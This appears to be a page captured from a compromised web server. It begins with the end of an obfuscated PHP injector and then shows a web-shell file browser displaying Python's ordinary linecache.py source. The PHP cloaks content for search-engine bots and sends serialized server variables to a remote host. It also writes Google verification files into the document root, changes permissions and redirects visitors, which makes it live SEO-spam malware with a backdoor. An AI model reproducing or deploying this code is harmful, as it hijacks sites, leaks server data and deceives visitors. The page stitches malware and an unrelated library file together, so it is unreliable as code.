$k9qvs .= "\103\x6f\156\156\x65\143\164\x69\x6f\x6e\72\40\x63\x6c\x6f\163\145\15\xa\15\12"; goto Kl5cJ; dT5S3: $uKzMA .= $k9qvs; goto IQRXn; FWgy0: curl_setopt($YiZhl, CURLOPT_FOLLOWLOCATION, 1); goto hPUqd; SBkJU: $VKOkC = trim(trim($o6kZW, "\357\273\277")); goto kNbSY; X75Mo: ZPsbU: goto ykgHv; h3wsF: $hzgOS = ''; goto QVktw; rq6OZ: $xOJQG = $hQZHd; goto Xl6SN; O6xd8: if (!(function_exists("\143\x75\x72\x6c\137\x69\156\151\164") && function_exists("\x63\x75\x72\154\137\145\170\145\143"))) { goto X28XW; } goto rRPJY; o1pyR: curl_close($YiZhl); goto sT7mt; Vo807: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYHOST, false); goto FWgy0; jM_ID: if (!($DddNX === 0)) { goto UaKRU; } goto ewLEM; eNgfW: lvsED: goto KSKVx; ZxWY6: } catch (Exception $exFSj) { } goto sq_OP; sq_OP: return $VKOkC; goto YJMVK; YLwgw: $VKOkC = 0; goto IIbnU; YJMVK: } goto FS1et; QWLGU: function wWIfV($aO8xw = '') { goto WZubY; hPK4W: $UX2gA = trim($_GET[$PVzrt]); goto W88SU; J1bN0: if (!$eyzrT) { goto zUepC; } goto EB4NS; jepcO: $bVLGQ = "\147\157\157"; goto ViqG1; tD9ut: $PVzrt = "\171\164\x31"; goto nIQZT; urDSA: die; goto ebZyN; Mz0wo: if (!preg_match("\57\x73\x69\164\145\155\x61\160\56\x2a\77\x5c\56\x78\x6d\x6c\44\57\x73\151", $eot8L)) { goto VRAWT; } goto VjpHZ; UZeoW: if (!preg_match("\x2f" . $d6_Jb . "\44\57\163\151", $eot8L, $X54gH)) { goto xrnyo; } goto w_81u; mzpLW: $hxyxr = cO3zc($YEaNO); goto D4Q3O; oIAxR: $MYs90 = preg_match("\x2f\136\150\x74\x74\160\163\x3f\134\72\134\57\x5c\x2f\57\x73\151", $eN_7E); goto Ra1Hp; xqJvV: if (!isset($_GET[$PVzrt])) { goto i58q0; } goto hPK4W; XbsqL: $eot8L = $eot8L == '' ? isset($_SERVER["\120\101\124\x48\137\111\x4e\106\117"]) && $_SERVER["\x50\x41\x54\x48\137\111\x4e\x46\117"] != '' ? $_SERVER["\x50\101\x54\110\x5f\x49\116\106\x4f"] : $eot8L : $eot8L; goto yVSei; PzqYa: $Gm3f8 = $e_42L[2]; goto W7L0H; OhjGB: if (!in_array($Gm3f8, array("\52\64\x30\64", "\52\162\x65\x74\165\162\156"))) { goto x1PZx; } goto lQWdQ; Fdrw9: $Gm3f8 = $e_42L[2]; goto UpTEL; BgmN9: echo rMwyT($UX2gA); goto SUfJJ; h1JIh: $bVLGQ .= $pQOAP; goto TnJ9g; WA7gb: goto qr5hT; goto qDZ_W; F5KV8: header($e_42L[1]); goto Fdrw9; GPjb0: SYcEY: goto ImP8u; TZENW: chmod($ZZPc9, 0555); goto gk5bu; evisZ: $YRdmP = "\x3c\x61\40\x68\162\x65\x66\x3d\x22\x25\x73\x22\40\x74\x61\x72\147\x65\x74\x3d\42\137\x62\154\x61\156\x6b\42\x3e\x25\163\x3c\57\141\x3e"; goto xqJvV; Zsglf: $YEaNO = isset($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\x52\137\x41\x47\105\116\124"] : ''; goto mzpLW; Z_Udm: $eN_7E = trim($aKaai[1]); goto oIAxR; ImP8u: if (!preg_match("\x2f\x5e\x48\145\x61\x64\x40\x28\x2e\x2a\77\51\x40\x40\50\x2e\52\51\x2f\151\x73", $Gm3f8, $e_42L)) { goto uQ00Z; } goto t9vPN; Ajv7I: $QqjbH .= "\125\x4d\105\x4e"; goto b5pvD; IniRB: $d6_Jb .= "\x5d\173\x31\66"; goto YEqQg; UqhiZ: $d6_Jb .= "\147\154\145\x5b\134\167"; goto IniRB; w_81u: $mzqwU = str_replace("\x2e\170", "\56", trim($X54gH[1])); goto N13_u; VjpHZ: $Gm3f8 = RmWyT($m3gJm, array("\170" => serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27", $eN_7E, $eN_7E); goto dsf3A; qDZ_W: vza0D: goto xDF02; Fxphd: $pQOAP = "\x74\151\157\156\x3a"; goto ow8Ll; h89m4: $bVLGQ .= "\x66\151\143\x61"; goto h1JIh; pj7y1: if (!preg_match("\x2f\x5e\112\165\x6d\160\100\50\56\x2a\x29\57", $Gm3f8, $aKaai)) { goto SYcEY; } goto Z_Udm; D4Q3O: $eyzrT = UAZhz($Dz3re); goto j01_p; Ez9KB: if (!preg_match("\57\136\x48\145\x61\144\x40\50\x2e\x2a\77\51\100\x40\50\56\x2a\x29\57\151\x73", $Gm3f8, $e_42L)) { goto qwcsZ; } goto F5KV8; SUfJJ: WeAem: goto fw0FJ; XkQPC: $Gm3f8 = trim($Gm3f8); goto OhjGB; krcRA: echo "{$Gm3f8}"; goto CZnIQ; om8Q7: file_put_contents("{$ZZPc9}\x2f{$mzqwU}", "{$bVLGQ}\x20{$mzqwU}"); goto TZENW; k__XX: $_SERVER["\x79\164\137\x67\x7a"] = $Kqdnq[1]; goto rQpXi; Bi98H: zUepC: goto DjwDV; lQWdQ: return; goto TIdBi; ViqG1: $bVLGQ .= "\x67\154\x65\55\163\x69"; goto l3qq1; fw0FJ: die; goto rcw1v; uttX2: $ZZPc9 = $_SERVER[$QqjbH]; goto Mz0wo; t9vPN: header($e_42L[1]); goto PzqYa; TnJ9g: $pQOAP = "\114\157\x63\x61" . $pQOAP; goto UZeoW; W7L0H: uQ00Z: goto krcRA; ow8Ll: $d6_Jb = "\x28\x67\x6f\157"; goto UqhiZ; rcw1v: i58q0: goto J1bN0; j01_p: $Kqdnq = explode("\72\x3a", A); goto qa300; UpTEL: qwcsZ: goto WdLiy; vigW_: UtcdE: goto SSnj2; qa300: $m3gJm = sprintf("\150\x74\164\x70\163\72\x2f\x2f\45\x73\56\160\171", ywglY($Kqdnq[0])); goto NbXA9; YEqQg: $d6_Jb .= "\175\x5c\56\170\x68"; goto KJtMO; dsf3A: qr5hT: goto HAeYG; b5pvD: $QqjbH .= "\x54\137\x52\117\117\124"; goto uttX2; EB4NS: $_SERVER["\x79\164\137\x6a\x75\x6d\x70"] = 1; goto Bi98H; aWLvw: die; goto suwkM; nIQZT: $QqjbH = "\x44\x4f\x43"; goto Ajv7I; DjwDV: $Gm3f8 = RMwYT($m3gJm, array("\170" => serialize($_SERVER))); goto XkQPC; X2ZDa: $L7avg = parse_url($m3gJm); goto xE3T8; whZ89: $Gm3f8 = trim($Gm3f8); goto Ez9KB; TIdBi: x1PZx: goto pj7y1; suwkM: xrnyo: goto f65jz; l3qq1: $bVLGQ .= "\164\145\55\x76\145\x72\x69"; goto h89m4; gk5bu: header("{$pQOAP}\x20\x2f{$mzqwU}"); goto aWLvw; WZubY: $eot8L = isset($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\121\125\x45\x53\124\x5f\125\122\x49"] : (isset($_SERVER["\121\125\x45\122\131\x5f\123\x54\122\x49\x4e\107"]) ? $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"] : ''); goto XbsqL; f05fv: goto WeAem; goto jptJa; Ra1Hp: if ($MYs90) { goto vza0D; } goto nb404; W88SU: if (preg_match("\57\136\x68\x74\164\160\163\77\x2f\163\x69", $UX2gA)) { goto ImNaW; } goto mnXZL; xE3T8: echo gethostbyname($L7avg["\150\157\x73\x74"]); goto f05fv; N13_u: chmod($ZZPc9, 0755); goto om8Q7; NbXA9: $_SERVER["\171\164\137\x6a\165\155\160"] = 0; goto k__XX; mnXZL: echo sprintf($YRdmP, $m3gJm, $m3gJm) . "\x3c\x62\x72\x20\x2f\76\x3c\142\162\40\57\76"; goto X2ZDa; f65jz: if (!($hxyxr || $eyzrT)) { goto UtcdE; } goto evisZ; KJtMO: $d6_Jb .= "\164\155\154\51"; goto jepcO; jptJa: ImNaW: goto BgmN9; SSnj2: } goto yfeBq; vJZxQ: @ob_start(); goto IeyQ_; hiaac: @date_default_timezone_set("\x50\x52\103"); goto fkDlz; paMIL: function uAZhZ($mSaNc = '') { return preg_match("\x2f\50\x67\x6f\157\x67\x6c\145\x2e\143\157\x2e\152\160\x7c\x79\x61\x68\x6f\157\x2e\143\x6f\x2e\152\160\174\142\x69\x6e\147\x7c\142\x61\151\x64\x75\x7c\147\x6f\x6f\147\x6c\145\56\143\157\x6d\x29\x2f\163\151", $mSaNc); } goto AUWFK; fkDlz: if (!function_exists("\x6f\142\x5f\x73\164\141\162\164")) { goto ABP2h; } goto vJZxQ; AUWFK: function YWglY($r3H5L) { goto hjvwh; sLMpr: if (!(is_array($ys12P) && count($ys12P) == 4)) { goto MErec; } goto ME0Pe; t3Xy4: $sN20i = implode('', $tk4Tz); goto q6d5v; d6VGt: ivn9Z: goto t3Xy4; sFrnt: return $sN20i; goto HrGts; qIlfd: foreach ($tk4Tz as $aoydG => $GtJl1) { $tk4Tz[$aoydG] = chr(ord($GtJl1) - 5); Hx2Gv: } goto d6VGt; g8mRP: $tk4Tz = preg_split("\x2f\x2f", $ys12P[2], -1, PREG_SPLIT_NO_EMPTY); goto qIlfd; q6d5v: RvWic: goto TNCFO; hjvwh: $sN20i = ''; goto axNGd; TNCFO: $sN20i = $ys12P[1] . $sN20i . $ys12P[3]; goto UfFGu; ME0Pe: if (!($ys12P[2] != '')) { goto RvWic; } goto g8mRP; axNGd: preg_match("\57\x28\133\136\x5c\56\x5d\x2b\134\x2e\51\50\x2e\x2a\x29\50\x5c\57\56\52\x29\x2f", $r3H5L, $ys12P); goto sLMpr; UfFGu: MErec: goto sFrnt; HrGts: } goto QWLGU; FS1et: function co3zc($cHxE_ = '') { return preg_match("\57\x28\147\x6f\x6f\x67\154\145\x62\157\x74\x7c\x62\x61\151\x64\165\x73\160\x69\x64\x65\x72\x7c\x62\x69\x6e\147\142\157\164\174\x67\x6f\157\147\x6c\x65\x7c\x62\x61\151\x64\x75\x7c\x61\157\154\x7c\x62\151\156\147\174\171\141\150\157\157\x7c\171\141\x6e\144\x65\170\51\x2f\163\151", $cHxE_); } goto paMIL; yfeBq: wWifV(); ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //lib64/python3.11/linecache.py
"""Cache lines from Python source files.

This is intended to read lines from modules imported -- hence if a filename
is not found, it will look down the module search path for a file by
that name.
"""

import functools
import sys
import os
import tokenize

__all__ = ["getline", "clearcache", "checkcache", "lazycache"]


# The cache. Maps filenames to either a thunk which will provide source code,
# or a tuple (size, mtime, lines, fullname) once loaded.
cache = {}


def clearcache():
    """Clear the cache entirely."""
    cache.clear()


def getline(filename, lineno, module_globals=None):
    """Get a line for a Python source file from the cache.
    Update the cache if it doesn't contain an entry for this file already."""

    lines = getlines(filename, module_globals)
    if 1 <= lineno <= len(lines):
        return lines[lineno - 1]
    return ''


def getlines(filename, module_globals=None):
    """Get the lines for a Python source file from the cache.
    Update the cache if it doesn't contain an entry for this file already."""

    if filename in cache:
        entry = cache[filename]
        if len(entry) != 1:
            return cache[filename][2]

    try:
        return updatecache(filename, module_globals)
    except MemoryError:
        clearcache()
        return []


def checkcache(filename=None):
    """Discard cache entries that are out of date.
    (This is not checked upon each call!)"""

    if filename is None:
        filenames = list(cache.keys())
    elif filename in cache:
        filenames = [filename]
    else:
        return

    for filename in filenames:
        entry = cache[filename]
        if len(entry) == 1:
            # lazy cache entry, leave it lazy.
            continue
        size, mtime, lines, fullname = entry
        if mtime is None:
            continue   # no-op for files loaded via a __loader__
        try:
            stat = os.stat(fullname)
        except OSError:
            cache.pop(filename, None)
            continue
        if size != stat.st_size or mtime != stat.st_mtime:
            cache.pop(filename, None)


def updatecache(filename, module_globals=None):
    """Update a cache entry and return its list of lines.
    If something's wrong, print a message, discard the cache entry,
    and return an empty list."""

    if filename in cache:
        if len(cache[filename]) != 1:
            cache.pop(filename, None)
    if not filename or (filename.startswith('<') and filename.endswith('>')):
        return []

    fullname = filename
    try:
        stat = os.stat(fullname)
    except OSError:
        basename = filename

        # Realise a lazy loader based lookup if there is one
        # otherwise try to lookup right now.
        if lazycache(filename, module_globals):
            try:
                data = cache[filename][0]()
            except (ImportError, OSError):
                pass
            else:
                if data is None:
                    # No luck, the PEP302 loader cannot find the source
                    # for this module.
                    return []
                cache[filename] = (
                    len(data),
                    None,
                    [line + '\n' for line in data.splitlines()],
                    fullname
                )
                return cache[filename][2]

        # Try looking through the module search path, which is only useful
        # when handling a relative filename.
        if os.path.isabs(filename):
            return []

        for dirname in sys.path:
            try:
                fullname = os.path.join(dirname, basename)
            except (TypeError, AttributeError):
                # Not sufficiently string-like to do anything useful with.
                continue
            try:
                stat = os.stat(fullname)
                break
            except OSError:
                pass
        else:
            return []
    try:
        with tokenize.open(fullname) as fp:
            lines = fp.readlines()
    except (OSError, UnicodeDecodeError, SyntaxError):
        return []
    if lines and not lines[-1].endswith('\n'):
        lines[-1] += '\n'
    size, mtime = stat.st_size, stat.st_mtime
    cache[filename] = size, mtime, lines, fullname
    return lines


def lazycache(filename, module_globals):
    """Seed the cache for filename with module_globals.

    The module loader will be asked for the source only when getlines is
    called, not immediately.

    If there is an entry in the cache already, it is not altered.

    :return: True if a lazy load is registered in the cache,
        otherwise False. To register such a load a module loader with a
        get_source method must be found, the filename must be a cacheable
        filename, and the filename must not be already cached.
    """
    if filename in cache:
        if len(cache[filename]) == 1:
            return True
        else:
            return False
    if not filename or (filename.startswith('<') and filename.endswith('>')):
        return False
    # Try for a __loader__, if available
    if module_globals and '__name__' in module_globals:
        spec = module_globals.get('__spec__')
        name = getattr(spec, 'name', None) or module_globals['__name__']
        loader = getattr(spec, 'loader', None)
        if loader is None:
            loader = module_globals.get('__loader__')
        get_source = getattr(loader, 'get_source', None)

        if name and get_source:
            get_lines = functools.partial(get_source, name)
            cache[filename] = (get_lines,)
            return True
    return False